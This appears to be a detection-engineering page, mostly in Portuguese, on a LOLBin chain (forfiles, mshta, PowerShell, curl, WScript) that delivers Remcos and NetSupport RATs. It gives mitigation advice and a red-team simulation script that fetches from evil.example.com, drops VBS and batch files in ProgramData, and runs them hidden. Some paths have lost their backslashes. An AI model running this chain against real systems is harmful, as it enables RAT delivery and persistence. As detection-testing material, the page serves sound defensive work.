É Possível Usar Excessivamente LOLBins para Entregar Cargas Úteis de RAT?
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumo
Este relatório descreve uma cadeia de infecção em várias etapas que abusa agressivamente das utilidades integradas ao Windows (LOLBins) para recuperar e executar ferramentas de acesso remoto, incluindo Remcos e NetSupport Manager. O operador encadeia forfiles, mshta, PowerShell, curl, tar, WScript e alterações direcionadas no registro para preparar cargas úteis, estabelecer persistência e reduzir visibilidade. O fluxo de trabalho também aproveita o comportamento de viver da terra para se misturar silenciosamente à atividade administrativa rotineira. Malwarebytes identificou a atividade e bloqueou o endereço IP relacionado. No geral, ele ressalta como o abuso abrangente de LOLBin pode entregar RATs de maneira confiável.
Investigação
Pesquisadores viram pela primeira vez o forfiles.exe gerando mshta, que puxou um HTA malicioso que executou PowerShell para buscar um PDF engodo carregando um arquivo TAR. Após a extração, um glaxnimate.exe trojanizado descartou componentes fragmentados em ProgramData, então reassemblou-os e os lançou usando WScript, scripts em lotes e arquivos de suporte. A persistência foi configurada criando um valor UserInitMprLogonScript sob HKCUEnvironment que referencia um binário cliente malicioso.
Mitigação
Monitorar a execução anômala de LOLBin, particularmente forfiles, mshta, curl, tar, expand, e edições suspeitas no registro dentro de HKCUEnvironment. Aplicar a lista de permissões de aplicativos, habilitar registros abrangentes do PowerShell e impedir a execução de scripts de ProgramData para restringir a preparação. Bloquear HTTP de saída incomum para IPs desconhecidos e aplicar filtragem de URL para interromper tentativas de download iniciais.
Resposta
Quando detectado, isolar o host, capturar telemetria completa da linha de comando e coletar artefatos descartados para análise de hash. Remover a entrada de registro maliciosa e excluir arquivos criados em ProgramData. Executar uma varredura de endpoint com as assinaturas AV atuais e implementar bloqueio a nível de rede para o endereço IP do invasor e quaisquer domínios associados.
Fluxo de ataque
Detections
LOLBAS WScript / CScript (via process_creation)
View
Suspicious CURL Usage (via cmdline)
View
Possible Persistence Points [ASEPs – Software/NTUSER Hive] (via cmdline)
View
Suspicious Extracted Files from an Archive (via file_event)
View
LOLBAS ForFiles (via cmdline)
View
Detection of LOLBin Abuse for Remote Access Trojan Deployment [Windows Process Creation]
View
Simulation Execution
Prerequisite: The Telemetry & Baseline Pre‑flight Check must have passed.
Rationale: This section details the precise execution of the adversary technique (TTP) designed to trigger the detection rule. The commands and narrative MUST directly reflect the TTPs identified and aim to generate the exact telemetry expected by the detection logic.
-
Attack Narrative & Commands:
The red‑team operator aims to deploy the Remcos RAT using a chain of LOLBins to avoid downloading an executable directly.- Discovery & Staging: Use
forfiles.exeto locate a target directory and launchmshtawith a malicious URL that hosts an HTA payload. - File‑less PowerShell download: Invoke
powershell.exewith-NoProfile -Command curlto pull a second stage script from a C2 server. - VBScript Execution: Deploy a crafted
processor.vbsviaWScript.exeto write the RAT binary to%ProgramData%. - Batch Dropper: Run a hidden batch file (
patcher.bat) throughcmd.exeinvoked viaIWshShell3.Runto finalize persistence.
Each step generates a distinct process‑creation event that matches one of the Sigma selections, ensuring the rule fires.
- Discovery & Staging: Use
-
Regression Test Script:
The script below reproduces the four selections in a controlled lab. It logs each command to a temporary file for later verification.#------------------------------------------------- # LOLBin Abuse Simulation – triggers Sigma rule #------------------------------------------------- $log = "$env:TEMPlolbin_simulation.log" Clear-Content -Path $log -ErrorAction SilentlyContinue # 1. forfiles.exe -> mshta $cmd1 = 'forfiles /p C:WindowsSystem32 /m *.exe /c "cmd /c mshta https://evil.example.com/payload.hta"' Write-Output "[+] Executing: $cmd1" | Tee-Object -FilePath $log Invoke-Expression $cmd1 # 2. powershell.exe -> curl download $cmd2 = 'powershell.exe -NoProfile -Command "curl https://evil.example.com/stage.ps1 -OutFile $env:TEMPstage.ps1"' Write-Output "[+] Executing: $cmd2" | Tee-Object -FilePath $log Invoke-Expression $cmd2 # 3. wscript.exe -> processor.vbs $vbsPath = "$env:ProgramDataprocessor.vbs" @" Set fso = CreateObject("Scripting.FileSystemObject") fso.CreateTextFile("$env:ProgramDataremcos.exe").Write "malicious" "@ | Set-Content -Path $vbsPath -Encoding ASCII $cmd3 = "C:WindowsSystem32WScript.exe `"$vbsPath`"" Write-Output "[+] Executing: $cmd3" | Tee-Object -FilePath $log Invoke-Expression $cmd3 # 4. IWshShell3.Run -> cmd /c patcher.bat $batPath = "$env:ProgramDatapatcher.bat" "@ echo @echo off > %TEMP%nothing.txt "@ | Set-Content -Path $batPath -Encoding ASCII $cmd4 = "cscript //nologo //e:jscript `"var sh = new ActiveXObject('WScript.Shell'); sh.Run('cmd.exe /c %ProgramData%patcher.bat',0,true);`"" Write-Output "[+] Executing: $cmd4 (via IWshShell3.Run)" | Tee-Object -FilePath $log Invoke-Expression $cmd4 Write-Output "[+] Simulation complete." | Tee-Object -FilePath $log -
Cleanup Commands:
Remove artifacts to restore the host to a clean state.# Cleanup LOLBin simulation artifacts Remove-Item -Path "$env:ProgramDataprocessor.vbs" -ErrorAction SilentlyContinue Remove-Item -Path "$env:ProgramDataremcos.exe" -ErrorAction SilentlyContinue Remove-Item -Path "$env:ProgramDatapatcher.bat" -ErrorAction SilentlyContinue Remove-Item -Path "$env:TEMPstage.ps1" -ErrorAction SilentlyContinue Remove-Item -Path "$env:TEMPlolbin_simulation.log" -ErrorAction SilentlyContinue Write-Output "[+] Cleanup completed."